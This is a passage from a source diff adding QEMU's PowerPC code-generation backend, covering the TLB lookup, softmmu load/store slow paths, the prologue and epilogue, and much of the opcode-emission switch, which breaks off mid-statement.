helper_le_stl_mmu, + [MO_LEQ] = helper_le_stq_mmu, + [MO_BEUW] = helper_be_stw_mmu, + [MO_BEUL] = helper_be_stl_mmu, + [MO_BEQ] = helper_be_stq_mmu, +}; + +/* Perform the TLB load and compare. Places the result of the comparison + in CR7, loads the addend of the TLB into R3, and returns the register + containing the guest address (zero-extended into R4). Clobbers R0 and R2. */ + +static TCGReg tcg_out_tlb_read(TCGContext *s, TCGMemOp s_bits, + TCGReg addrlo, TCGReg addrhi, + int mem_index, bool is_read) +{ + int cmp_off + = (is_read + ? offsetof(CPUArchState, tlb_table[mem_index][0].addr_read) + : offsetof(CPUArchState, tlb_table[mem_index][0].addr_write)); + int add_off = offsetof(CPUArchState, tlb_table[mem_index][0].addend); + TCGReg base = TCG_AREG0; + + /* Extract the page index, shifted into place for tlb index. */ + if (TCG_TARGET_REG_BITS == 64) { + if (TARGET_LONG_BITS == 32) { + /* Zero-extend the address into a place helpful for further use. */ + tcg_out_ext32u(s, TCG_REG_R4, addrlo); + addrlo = TCG_REG_R4; + } else { + tcg_out_rld(s, RLDICL, TCG_REG_R3, addrlo, + 64 - TARGET_PAGE_BITS, 64 - CPU_TLB_BITS); + } + } + + /* Compensate for very large offsets. */ + if (add_off >= 0x8000) { + /* Most target env are smaller than 32k; none are larger than 64k. + Simplify the logic here merely to offset by 0x7ff0, giving us a + range just shy of 64k. Check this assumption. */ + QEMU_BUILD_BUG_ON(offsetof(CPUArchState, + tlb_table[NB_MMU_MODES - 1][1]) + > 0x7ff0 + 0x7fff); + tcg_out32(s, ADDI | TAI(TCG_REG_TMP1, base, 0x7ff0)); + base = TCG_REG_TMP1; + cmp_off -= 0x7ff0; + add_off -= 0x7ff0; + } + + /* Extraction and shifting, part 2. */ + if (TCG_TARGET_REG_BITS == 32 || TARGET_LONG_BITS == 32) { + tcg_out_rlw(s, RLWINM, TCG_REG_R3, addrlo, + 32 - (TARGET_PAGE_BITS - CPU_TLB_ENTRY_BITS), + 32 - (CPU_TLB_BITS + CPU_TLB_ENTRY_BITS), + 31 - CPU_TLB_ENTRY_BITS); + } else { + tcg_out_shli64(s, TCG_REG_R3, TCG_REG_R3, CPU_TLB_ENTRY_BITS); + } + + tcg_out32(s, ADD | TAB(TCG_REG_R3, TCG_REG_R3, base)); + + /* Load the tlb comparator. */ + if (TCG_TARGET_REG_BITS < TARGET_LONG_BITS) { + tcg_out_ld(s, TCG_TYPE_I32, TCG_REG_R4, TCG_REG_R3, cmp_off); + tcg_out_ld(s, TCG_TYPE_I32, TCG_REG_TMP1, TCG_REG_R3, cmp_off + 4); + } else { + tcg_out_ld(s, TCG_TYPE_TL, TCG_REG_TMP1, TCG_REG_R3, cmp_off); + } + + /* Load the TLB addend for use on the fast path. Do this asap + to minimize any load use delay. */ + tcg_out_ld(s, TCG_TYPE_PTR, TCG_REG_R3, TCG_REG_R3, add_off); + + /* Clear the non-page, non-alignment bits from the address. */ + if (TCG_TARGET_REG_BITS == 32 || TARGET_LONG_BITS == 32) { + tcg_out_rlw(s, RLWINM, TCG_REG_R0, addrlo, 0, + (32 - s_bits) & 31, 31 - TARGET_PAGE_BITS); + } else if (!s_bits) { + tcg_out_rld(s, RLDICR, TCG_REG_R0, addrlo, + 0, 63 - TARGET_PAGE_BITS); + } else { + tcg_out_rld(s, RLDICL, TCG_REG_R0, addrlo, + 64 - TARGET_PAGE_BITS, TARGET_PAGE_BITS - s_bits); + tcg_out_rld(s, RLDICL, TCG_REG_R0, TCG_REG_R0, TARGET_PAGE_BITS, 0); + } + + if (TCG_TARGET_REG_BITS < TARGET_LONG_BITS) { + tcg_out_cmp(s, TCG_COND_EQ, TCG_REG_R0, TCG_REG_TMP1, + 0, 7, TCG_TYPE_I32); + tcg_out_cmp(s, TCG_COND_EQ, addrhi, TCG_REG_R4, 0, 6, TCG_TYPE_I32); + tcg_out32(s, CRAND | BT(7, CR_EQ) | BA(6, CR_EQ) | BB(7, CR_EQ)); + } else { + tcg_out_cmp(s, TCG_COND_EQ, TCG_REG_R0, TCG_REG_TMP1, + 0, 7, TCG_TYPE_TL); + } + + return addrlo; +} + +/* Record the context of a call to the out of line helper code for the slow + path for a load or store, so that we can later generate the correct + helper code. */ +static void add_qemu_ldst_label(TCGContext *s, bool is_ld, TCGMemOp opc, + TCGReg datalo_reg, TCGReg datahi_reg, + TCGReg addrlo_reg, TCGReg addrhi_reg, + int mem_index, tcg_insn_unit *raddr, + tcg_insn_unit *lptr) +{ + TCGLabelQemuLdst *label = new_ldst_label(s); + + label->is_ld = is_ld; + label->opc = opc; + label->datalo_reg = datalo_reg; + label->datahi_reg = datahi_reg; + label->addrlo_reg = addrlo_reg; + label->addrhi_reg = addrhi_reg; + label->mem_index = mem_index; + label->raddr = raddr; + label->label_ptr[0] = lptr; +} + +static void tcg_out_qemu_ld_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGMemOp opc = lb->opc; + TCGReg hi, lo, arg = TCG_REG_R3; + + reloc_pc14(lb->label_ptr[0], s->code_ptr); + + tcg_out_mov(s, TCG_TYPE_PTR, arg++, TCG_AREG0); + + lo = lb->addrlo_reg; + hi = lb->addrhi_reg; + if (TCG_TARGET_REG_BITS < TARGET_LONG_BITS) { +#ifdef TCG_TARGET_CALL_ALIGN_ARGS + arg |= 1; +#endif + tcg_out_mov(s, TCG_TYPE_I32, arg++, hi); + tcg_out_mov(s, TCG_TYPE_I32, arg++, lo); + } else { + /* If the address needed to be zero-extended, we'll have already + placed it in R4. The only remaining case is 64-bit guest. */ + tcg_out_mov(s, TCG_TYPE_TL, arg++, lo); + } + + tcg_out_movi(s, TCG_TYPE_I32, arg++, lb->mem_index); + tcg_out32(s, MFSPR | RT(arg) | LR); + + tcg_out_call(s, qemu_ld_helpers[opc & ~MO_SIGN]); + + lo = lb->datalo_reg; + hi = lb->datahi_reg; + if (TCG_TARGET_REG_BITS == 32 && (opc & MO_SIZE) == MO_64) { + tcg_out_mov(s, TCG_TYPE_I32, lo, TCG_REG_R4); + tcg_out_mov(s, TCG_TYPE_I32, hi, TCG_REG_R3); + } else if (opc & MO_SIGN) { + uint32_t insn = qemu_exts_opc[opc & MO_SIZE]; + tcg_out32(s, insn | RA(lo) | RS(TCG_REG_R3)); + } else { + tcg_out_mov(s, TCG_TYPE_REG, lo, TCG_REG_R3); + } + + tcg_out_b(s, 0, lb->raddr); +} + +static void tcg_out_qemu_st_slow_path(TCGContext *s, TCGLabelQemuLdst *lb) +{ + TCGMemOp opc = lb->opc; + TCGMemOp s_bits = opc & MO_SIZE; + TCGReg hi, lo, arg = TCG_REG_R3; + + reloc_pc14(lb->label_ptr[0], s->code_ptr); + + tcg_out_mov(s, TCG_TYPE_PTR, arg++, TCG_AREG0); + + lo = lb->addrlo_reg; + hi = lb->addrhi_reg; + if (TCG_TARGET_REG_BITS < TARGET_LONG_BITS) { +#ifdef TCG_TARGET_CALL_ALIGN_ARGS + arg |= 1; +#endif + tcg_out_mov(s, TCG_TYPE_I32, arg++, hi); + tcg_out_mov(s, TCG_TYPE_I32, arg++, lo); + } else { + /* If the address needed to be zero-extended, we'll have already + placed it in R4. The only remaining case is 64-bit guest. */ + tcg_out_mov(s, TCG_TYPE_TL, arg++, lo); + } + + lo = lb->datalo_reg; + hi = lb->datahi_reg; + if (TCG_TARGET_REG_BITS == 32) { + switch (s_bits) { + case MO_64: +#ifdef TCG_TARGET_CALL_ALIGN_ARGS + arg |= 1; +#endif + tcg_out_mov(s, TCG_TYPE_I32, arg++, hi); + /* FALLTHRU */ + case MO_32: + tcg_out_mov(s, TCG_TYPE_I32, arg++, lo); + break; + default: + tcg_out_rlw(s, RLWINM, arg++, lo, 0, 32 - (8 << s_bits), 31); + break; + } + } else { + if (s_bits == MO_64) { + tcg_out_mov(s, TCG_TYPE_I64, arg++, lo); + } else { + tcg_out_rld(s, RLDICL, arg++, lo, 0, 64 - (8 << s_bits)); + } + } + + tcg_out_movi(s, TCG_TYPE_I32, arg++, lb->mem_index); + tcg_out32(s, MFSPR | RT(arg) | LR); + + tcg_out_call(s, qemu_st_helpers[opc]); + + tcg_out_b(s, 0, lb->raddr); +} +#endif /* SOFTMMU */ + +static void tcg_out_qemu_ld(TCGContext *s, const TCGArg *args, bool is_64) +{ + TCGReg datalo, datahi, addrlo, rbase; + TCGReg addrhi QEMU_UNUSED_VAR; + TCGMemOp opc, s_bits; +#ifdef CONFIG_SOFTMMU + int mem_index; + tcg_insn_unit *label_ptr; +#endif + + datalo = *args++; + datahi = (TCG_TARGET_REG_BITS == 32 && is_64 ? *args++ : 0); + addrlo = *args++; + addrhi = (TCG_TARGET_REG_BITS < TARGET_LONG_BITS ? *args++ : 0); + opc = *args++; + s_bits = opc & MO_SIZE; + +#ifdef CONFIG_SOFTMMU + mem_index = *args; + addrlo = tcg_out_tlb_read(s, s_bits, addrlo, addrhi, mem_index, true); + + /* Load a pointer into the current opcode w/conditional branch-link. */ + label_ptr = s->code_ptr; + tcg_out_bc_noaddr(s, BC | BI(7, CR_EQ) | BO_COND_FALSE | LK); + + rbase = TCG_REG_R3; +#else /* !CONFIG_SOFTMMU */ + rbase = GUEST_BASE ? TCG_GUEST_BASE_REG : 0; + if (TCG_TARGET_REG_BITS > TARGET_LONG_BITS) { + tcg_out_ext32u(s, TCG_REG_TMP1, addrlo); + addrlo = TCG_REG_TMP1; + } +#endif + + if (TCG_TARGET_REG_BITS == 32 && s_bits == MO_64) { + if (opc & MO_BSWAP) { + tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4)); + tcg_out32(s, LWBRX | TAB(datalo, rbase, addrlo)); + tcg_out32(s, LWBRX | TAB(datahi, rbase, TCG_REG_R0)); + } else if (rbase != 0) { + tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4)); + tcg_out32(s, LWZX | TAB(datahi, rbase, addrlo)); + tcg_out32(s, LWZX | TAB(datalo, rbase, TCG_REG_R0)); + } else if (addrlo == datahi) { + tcg_out32(s, LWZ | TAI(datalo, addrlo, 4)); + tcg_out32(s, LWZ | TAI(datahi, addrlo, 0)); + } else { + tcg_out32(s, LWZ | TAI(datahi, addrlo, 0)); + tcg_out32(s, LWZ | TAI(datalo, addrlo, 4)); + } + } else { + uint32_t insn = qemu_ldx_opc[opc]; + if (!HAVE_ISA_2_06 && insn == LDBRX) { + tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4)); + tcg_out32(s, LWBRX | TAB(datalo, rbase, addrlo)); + tcg_out32(s, LWBRX | TAB(TCG_REG_R0, rbase, TCG_REG_R0)); + tcg_out_rld(s, RLDIMI, datalo, TCG_REG_R0, 32, 0); + } else if (insn) { + tcg_out32(s, insn | TAB(datalo, rbase, addrlo)); + } else { + insn = qemu_ldx_opc[opc & (MO_SIZE | MO_BSWAP)]; + tcg_out32(s, insn | TAB(datalo, rbase, addrlo)); + insn = qemu_exts_opc[s_bits]; + tcg_out32(s, insn | RA(datalo) | RS(datalo)); + } + } + +#ifdef CONFIG_SOFTMMU + add_qemu_ldst_label(s, true, opc, datalo, datahi, addrlo, addrhi, + mem_index, s->code_ptr, label_ptr); +#endif +} + +static void tcg_out_qemu_st(TCGContext *s, const TCGArg *args, bool is_64) +{ + TCGReg datalo, datahi, addrlo, rbase; + TCGReg addrhi QEMU_UNUSED_VAR; + TCGMemOp opc, s_bits; +#ifdef CONFIG_SOFTMMU + int mem_index; + tcg_insn_unit *label_ptr; +#endif + + datalo = *args++; + datahi = (TCG_TARGET_REG_BITS == 32 && is_64 ? *args++ : 0); + addrlo = *args++; + addrhi = (TCG_TARGET_REG_BITS < TARGET_LONG_BITS ? *args++ : 0); + opc = *args++; + s_bits = opc & MO_SIZE; + +#ifdef CONFIG_SOFTMMU + mem_index = *args; + addrlo = tcg_out_tlb_read(s, s_bits, addrlo, addrhi, mem_index, false); + + /* Load a pointer into the current opcode w/conditional branch-link. */ + label_ptr = s->code_ptr; + tcg_out_bc_noaddr(s, BC | BI(7, CR_EQ) | BO_COND_FALSE | LK); + + rbase = TCG_REG_R3; +#else /* !CONFIG_SOFTMMU */ + rbase = GUEST_BASE ? TCG_GUEST_BASE_REG : 0; + if (TCG_TARGET_REG_BITS > TARGET_LONG_BITS) { + tcg_out_ext32u(s, TCG_REG_TMP1, addrlo); + addrlo = TCG_REG_TMP1; + } +#endif + + if (TCG_TARGET_REG_BITS == 32 && s_bits == MO_64) { + if (opc & MO_BSWAP) { + tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4)); + tcg_out32(s, STWBRX | SAB(datalo, rbase, addrlo)); + tcg_out32(s, STWBRX | SAB(datahi, rbase, TCG_REG_R0)); + } else if (rbase != 0) { + tcg_out32(s, ADDI | TAI(TCG_REG_R0, addrlo, 4)); + tcg_out32(s, STWX | SAB(datahi, rbase, addrlo)); + tcg_out32(s, STWX | SAB(datalo, rbase, TCG_REG_R0)); + } else { + tcg_out32(s, STW | TAI(datahi, addrlo, 0)); + tcg_out32(s, STW | TAI(datalo, addrlo, 4)); + } + } else { + uint32_t insn = qemu_stx_opc[opc]; + if (!HAVE_ISA_2_06 && insn == STDBRX) { + tcg_out32(s, STWBRX | SAB(datalo, rbase, addrlo)); + tcg_out32(s, ADDI | TAI(TCG_REG_TMP1, addrlo, 4)); + tcg_out_shri64(s, TCG_REG_R0, datalo, 32); + tcg_out32(s, STWBRX | SAB(TCG_REG_R0, rbase, TCG_REG_TMP1)); + } else { + tcg_out32(s, insn | SAB(datalo, rbase, addrlo)); + } + } + +#ifdef CONFIG_SOFTMMU + add_qemu_ldst_label(s, false, opc, datalo, datahi, addrlo, addrhi, + mem_index, s->code_ptr, label_ptr); +#endif +} + +/* Parameters for function call generation, used in tcg.c. */ +#define TCG_TARGET_STACK_ALIGN 16 +#define TCG_TARGET_EXTEND_ARGS 1 + +#ifdef _CALL_AIX +# define LINK_AREA_SIZE (6 * SZR) +# define LR_OFFSET (1 * SZR) +# define TCG_TARGET_CALL_STACK_OFFSET (LINK_AREA_SIZE + 8 * SZR) +#elif defined(TCG_TARGET_CALL_DARWIN) +# define LINK_AREA_SIZE (6 * SZR) +# define LR_OFFSET (2 * SZR) +#elif TCG_TARGET_REG_BITS == 64 +# if defined(_CALL_ELF) && _CALL_ELF == 2 +# define LINK_AREA_SIZE (4 * SZR) +# define LR_OFFSET (1 * SZR) +# endif +#else /* TCG_TARGET_REG_BITS == 32 */ +# if defined(_CALL_SYSV) +# define LINK_AREA_SIZE (2 * SZR) +# define LR_OFFSET (1 * SZR) +# endif +#endif +#ifndef LR_OFFSET +# error "Unhandled abi" +#endif +#ifndef TCG_TARGET_CALL_STACK_OFFSET +# define TCG_TARGET_CALL_STACK_OFFSET LINK_AREA_SIZE +#endif + +#define CPU_TEMP_BUF_SIZE (CPU_TEMP_BUF_NLONGS * (int)sizeof(long)) +#define REG_SAVE_SIZE ((int)ARRAY_SIZE(tcg_target_callee_save_regs) * SZR) + +#define FRAME_SIZE ((TCG_TARGET_CALL_STACK_OFFSET \ + + TCG_STATIC_CALL_ARGS_SIZE \ + + CPU_TEMP_BUF_SIZE \ + + REG_SAVE_SIZE \ + + TCG_TARGET_STACK_ALIGN - 1) \ + & -TCG_TARGET_STACK_ALIGN) + +#define REG_SAVE_BOT (FRAME_SIZE - REG_SAVE_SIZE) + +static void tcg_target_qemu_prologue(TCGContext *s) +{ + int i; + +#ifdef _CALL_AIX + void **desc = (void **)s->code_ptr; + desc[0] = desc + 2; /* entry point */ + desc[1] = 0; /* environment pointer */ + s->code_ptr = (void *)(desc + 2); /* skip over descriptor */ +#endif + + tcg_set_frame(s, TCG_REG_CALL_STACK, REG_SAVE_BOT - CPU_TEMP_BUF_SIZE, + CPU_TEMP_BUF_SIZE); + + /* Prologue */ + tcg_out32(s, MFSPR | RT(TCG_REG_R0) | LR); + tcg_out32(s, (SZR == 8 ? STDU : STWU) + | SAI(TCG_REG_R1, TCG_REG_R1, -FRAME_SIZE)); + + for (i = 0; i < ARRAY_SIZE(tcg_target_callee_save_regs); ++i) { + tcg_out_st(s, TCG_TYPE_REG, tcg_target_callee_save_regs[i], + TCG_REG_R1, REG_SAVE_BOT + i * SZR); + } + tcg_out_st(s, TCG_TYPE_PTR, TCG_REG_R0, TCG_REG_R1, FRAME_SIZE+LR_OFFSET); + +#ifdef CONFIG_USE_GUEST_BASE + if (GUEST_BASE) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_GUEST_BASE_REG, GUEST_BASE); + tcg_regset_set_reg(s->reserved_regs, TCG_GUEST_BASE_REG); + } +#endif + + tcg_out_mov(s, TCG_TYPE_PTR, TCG_AREG0, tcg_target_call_iarg_regs[0]); + tcg_out32(s, MTSPR | RS(tcg_target_call_iarg_regs[1]) | CTR); + + if (USE_REG_RA) { +#ifdef _CALL_AIX + /* Make the caller load the value as the TOC into R2. */ + tb_ret_addr = s->code_ptr + 2; + desc[1] = tb_ret_addr; + tcg_out_mov(s, TCG_TYPE_PTR, TCG_REG_RA, TCG_REG_R2); + tcg_out32(s, BCCTR | BO_ALWAYS); +#elif defined(_CALL_ELF) && _CALL_ELF == 2 + /* Compute from the incoming R12 value. */ + tb_ret_addr = s->code_ptr + 2; + tcg_out32(s, ADDI | TAI(TCG_REG_RA, TCG_REG_R12, + tcg_ptr_byte_diff(tb_ret_addr, s->code_buf))); + tcg_out32(s, BCCTR | BO_ALWAYS); +#else + /* Reserve max 5 insns for the constant load. */ + tb_ret_addr = s->code_ptr + 6; + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_RA, (intptr_t)tb_ret_addr); + tcg_out32(s, BCCTR | BO_ALWAYS); + while (s->code_ptr < tb_ret_addr) { + tcg_out32(s, NOP); + } +#endif + } else { + tcg_out32(s, BCCTR | BO_ALWAYS); + tb_ret_addr = s->code_ptr; + } + + /* Epilogue */ + assert(tb_ret_addr == s->code_ptr); + + tcg_out_ld(s, TCG_TYPE_PTR, TCG_REG_R0, TCG_REG_R1, FRAME_SIZE+LR_OFFSET); + for (i = 0; i < ARRAY_SIZE(tcg_target_callee_save_regs); ++i) { + tcg_out_ld(s, TCG_TYPE_REG, tcg_target_callee_save_regs[i], + TCG_REG_R1, REG_SAVE_BOT + i * SZR); + } + tcg_out32(s, MTSPR | RS(TCG_REG_R0) | LR); + tcg_out32(s, ADDI | TAI(TCG_REG_R1, TCG_REG_R1, FRAME_SIZE)); + tcg_out32(s, BCLR | BO_ALWAYS); +} + +static void tcg_out_op(TCGContext *s, TCGOpcode opc, const TCGArg *args, + const int *const_args) +{ + TCGArg a0, a1, a2; + int c; + + switch (opc) { + case INDEX_op_exit_tb: + if (USE_REG_RA) { + ptrdiff_t disp = tcg_pcrel_diff(s, tb_ret_addr); + + /* If we can use a direct branch, otherwise use the value in RA. + Note that the direct branch is always forward. If it's in + range now, it'll still be in range after the movi. Don't + bother about the 20 bytes where the test here fails but it + would succeed below. */ + if (!in_range_b(disp)) { + tcg_out32(s, MTSPR | RS(TCG_REG_RA) | CTR); + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R3, args[0]); + tcg_out32(s, BCCTR | BO_ALWAYS); + break; + } + } + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_R3, args[0]); + tcg_out_b(s, 0, tb_ret_addr); + break; + case INDEX_op_goto_tb: + if (s->tb_jmp_offset) { + /* Direct jump method. */ + s->tb_jmp_offset[args[0]] = tcg_current_code_size(s); + s->code_ptr += 7; + } else { + /* Indirect jump method. */ + tcg_abort(); + } + s->tb_next_offset[args[0]] = tcg_current_code_size(s); + break; + case INDEX_op_br: + { + TCGLabel *l = &s->labels[args[0]]; + + if (l->has_value) { + tcg_out_b(s, 0, l->u.value_ptr); + } else { + tcg_out_reloc(s, s->code_ptr, R_PPC_REL24, args[0], 0); + tcg_out_b_noaddr(s, B); + } + } + break; + case INDEX_op_ld8u_i32: + case INDEX_op_ld8u_i64: + tcg_out_mem_long(s, LBZ, LBZX, args[0], args[1], args[2]); + break; + case INDEX_op_ld8s_i32: + case INDEX_op_ld8s_i64: + tcg_out_mem_long(s, LBZ, LBZX, args[0], args[1], args[2]); + tcg_out32(s, EXTSB | RS(args[0]) | RA(args[0])); + break; + case INDEX_op_ld16u_i32: + case INDEX_op_ld16u_i64: + tcg_out_mem_long(s, LHZ, LHZX, args[0], args[1], args[2]); + break; + case INDEX_op_ld16s_i32: + case INDEX_op_ld16s_i64: + tcg_out_mem_long(s, LHA, LHAX, args[0], args[1], args[2]); + break; + case INDEX_op_ld_i32: + case INDEX_op_ld32u_i64: + tcg_out_mem_long(s, LWZ, LWZX, args[0], args[1], args[2]); + break; + case INDEX_op_ld32s_i64: + tcg_out_mem_long(s, LWA, LWAX, args[0], args[1], args[2]); + break; + case INDEX_op_ld_i64: + tcg_out_mem_long(s, LD, LDX, args[0], args[1], args[2]); + break; + case INDEX_op_st8_i32: + case INDEX_op_st8_i64: + tcg_out_mem_long(s, STB, STBX, args[0], args[1], args[2]); + break; + case INDEX_op_st16_i32: + case INDEX_op_st16_i64: + tcg_out_mem_long(s, STH, STHX, args[0], args[1], args[2]); + break; + case INDEX_op_st_i32: + case INDEX_op_st32_i64: + tcg_out_mem_long(s, STW, STWX, args[0], args[1], args[2]); + break; + case INDEX_op_st_i64: + tcg_out_mem_long(s, STD, STDX, args[0], args[1], args[2]); + break; + + case INDEX_op_add_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + do_addi_32: + tcg_out_mem_long(s, ADDI, ADD, a0, a1, (int32_t)a2); + } else { + tcg_out32(s, ADD | TAB(a0, a1, a2)); + } + break; + case INDEX_op_sub_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[1]) { + if (const_args[2]) { + tcg_out_movi(s, TCG_TYPE_I32, a0, a1 - a2); + } else { + tcg_out32(s, SUBFIC | TAI(a0, a2, a1)); + } + } else if (const_args[2]) { + a2 = -a2; + goto do_addi_32; + } else { + tcg_out32(s, SUBF | TAB(a0, a2, a1)); + } + break; + + case INDEX_op_and_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_andi32(s, a0, a1, a2); + } else { + tcg_out32(s, AND | SAB(a1, a0, a2)); + } + break; + case INDEX_op_and_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_andi64(s, a0, a1, a2); + } else { + tcg_out32(s, AND | SAB(a1, a0, a2)); + } + break; + case INDEX_op_or_i64: + case INDEX_op_or_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_ori32(s, a0, a1, a2); + } else { + tcg_out32(s, OR | SAB(a1, a0, a2)); + } + break; + case INDEX_op_xor_i64: + case INDEX_op_xor_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_xori32(s, a0, a1, a2); + } else { + tcg_out32(s, XOR | SAB(a1, a0, a2)); + } + break; + case INDEX_op_andc_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_andi32(s, a0, a1, ~a2); + } else { + tcg_out32(s, ANDC | SAB(a1, a0, a2)); + } + break; + case INDEX_op_andc_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out_andi64(s, a0, a1, ~a2); + } else { + tcg_out32(s, ANDC | SAB(a1, a0, a2)); + } + break; + case INDEX_op_orc_i32: + if (const_args[2]) { + tcg_out_ori32(s, args[0], args[1], ~args[2]); + break; + } + /* FALLTHRU */ + case INDEX_op_orc_i64: + tcg_out32(s, ORC | SAB(args[1], args[0], args[2])); + break; + case INDEX_op_eqv_i32: + if (const_args[2]) { + tcg_out_xori32(s, args[0], args[1], ~args[2]); + break; + } + /* FALLTHRU */ + case INDEX_op_eqv_i64: + tcg_out32(s, EQV | SAB(args[1], args[0], args[2])); + break; + case INDEX_op_nand_i32: + case INDEX_op_nand_i64: + tcg_out32(s, NAND | SAB(args[1], args[0], args[2])); + break; + case INDEX_op_nor_i32: + case INDEX_op_nor_i64: + tcg_out32(s, NOR | SAB(args[1], args[0], args[2])); + break; + + case INDEX_op_mul_i32: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out32(s, MULLI | TAI(a0, a1, a2)); + } else { + tcg_out32(s, MULLW | TAB(a0, a1, a2)); + } + break; + + case INDEX_op_div_i32: + tcg_out32(s, DIVW | TAB(args[0], args[1], args[2])); + break; + + case INDEX_op_divu_i32: + tcg_out32(s, DIVWU | TAB(args[0], args[1], args[2])); + break; + + case INDEX_op_shl_i32: + if (const_args[2]) { + tcg_out_shli32(s, args[0], args[1], args[2]); + } else { + tcg_out32(s, SLW | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_shr_i32: + if (const_args[2]) { + tcg_out_shri32(s, args[0], args[1], args[2]); + } else { + tcg_out32(s, SRW | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_sar_i32: + if (const_args[2]) { + tcg_out32(s, SRAWI | RS(args[1]) | RA(args[0]) | SH(args[2])); + } else { + tcg_out32(s, SRAW | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_rotl_i32: + if (const_args[2]) { + tcg_out_rlw(s, RLWINM, args[0], args[1], args[2], 0, 31); + } else { + tcg_out32(s, RLWNM | SAB(args[1], args[0], args[2]) + | MB(0) | ME(31)); + } + break; + case INDEX_op_rotr_i32: + if (const_args[2]) { + tcg_out_rlw(s, RLWINM, args[0], args[1], 32 - args[2], 0, 31); + } else { + tcg_out32(s, SUBFIC | TAI(TCG_REG_R0, args[2], 32)); + tcg_out32(s, RLWNM | SAB(args[1], args[0], TCG_REG_R0) + | MB(0) | ME(31)); + } + break; + + case INDEX_op_brcond_i32: + tcg_out_brcond(s, args[2], args[0], args[1], const_args[1], + args[3], TCG_TYPE_I32); + break; + case INDEX_op_brcond_i64: + tcg_out_brcond(s, args[2], args[0], args[1], const_args[1], + args[3], TCG_TYPE_I64); + break; + case INDEX_op_brcond2_i32: + tcg_out_brcond2(s, args, const_args); + break; + + case INDEX_op_neg_i32: + case INDEX_op_neg_i64: + tcg_out32(s, NEG | RT(args[0]) | RA(args[1])); + break; + + case INDEX_op_not_i32: + case INDEX_op_not_i64: + tcg_out32(s, NOR | SAB(args[1], args[0], args[1])); + break; + + case INDEX_op_add_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + do_addi_64: + tcg_out_mem_long(s, ADDI, ADD, a0, a1, a2); + } else { + tcg_out32(s, ADD | TAB(a0, a1, a2)); + } + break; + case INDEX_op_sub_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[1]) { + if (const_args[2]) { + tcg_out_movi(s, TCG_TYPE_I64, a0, a1 - a2); + } else { + tcg_out32(s, SUBFIC | TAI(a0, a2, a1)); + } + } else if (const_args[2]) { + a2 = -a2; + goto do_addi_64; + } else { + tcg_out32(s, SUBF | TAB(a0, a2, a1)); + } + break; + + case INDEX_op_shl_i64: + if (const_args[2]) { + tcg_out_shli64(s, args[0], args[1], args[2]); + } else { + tcg_out32(s, SLD | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_shr_i64: + if (const_args[2]) { + tcg_out_shri64(s, args[0], args[1], args[2]); + } else { + tcg_out32(s, SRD | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_sar_i64: + if (const_args[2]) { + int sh = SH(args[2] & 0x1f) | (((args[2] >> 5) & 1) << 1); + tcg_out32(s, SRADI | RA(args[0]) | RS(args[1]) | sh); + } else { + tcg_out32(s, SRAD | SAB(args[1], args[0], args[2])); + } + break; + case INDEX_op_rotl_i64: + if (const_args[2]) { + tcg_out_rld(s, RLDICL, args[0], args[1], args[2], 0); + } else { + tcg_out32(s, RLDCL | SAB(args[1], args[0], args[2]) | MB64(0)); + } + break; + case INDEX_op_rotr_i64: + if (const_args[2]) { + tcg_out_rld(s, RLDICL, args[0], args[1], 64 - args[2], 0); + } else { + tcg_out32(s, SUBFIC | TAI(TCG_REG_R0, args[2], 64)); + tcg_out32(s, RLDCL | SAB(args[1], args[0], TCG_REG_R0) | MB64(0)); + } + break; + + case INDEX_op_mul_i64: + a0 = args[0], a1 = args[1], a2 = args[2]; + if (const_args[2]) { + tcg_out32(s, MULLI | TAI(a0, a1, a2)); + } else { + tcg_out32(s, MULLD | TAB(a0, a1, a2)); + } + break; + case INDEX_op_div_i64: + tcg_out32(s, DIVD | TAB(args[0], args[1], args[2])); + break; + case INDEX_op_divu_i64: + tcg_out32(s, DIVDU | TAB(args[0], args[1], args[2])); + break; + + case INDEX_op_qemu_ld_i32: + tcg_out_qemu_ld(s, args, false); + break; + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, args, true); + break; + case INDEX_op_qemu_st_i32: + tcg_out_qemu_st(s, args, false); + break; + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, args, true); + break; + + case INDEX_op_ext8s_i32: + case INDEX_op_ext8s_i64: + c = EXTSB; + goto gen_ext; + case INDEX_op_ext16s_i32: + case INDEX_op_ext16s_i64: + c = EXTSH; + goto gen_ext; + case INDEX_op_ext32s_i64: + c = EXTSW; + goto gen_ext; + gen_ext: + tcg_out32(s, c | RS(args[1]) | RA(args[0])); + break; + + case INDEX_op_setcond_i32: + tcg_out_setcond(s, TCG_TYPE_I32, args[3], args[0], args[1], args[2], + const_args[2]); + break; + case INDEX_op_setcond_i64: + tcg_out_setcond(s, TCG_TYPE_I64, args[3], args[0], args[1], args[2], + const_args[2]); + break; + case INDEX_op_setcond2_i32: + tcg_out_setcond2(s, args, const_args); + break; + + case INDEX_op_bswap16_i32: + case INDEX_op_bswap16_i64: + a0 = 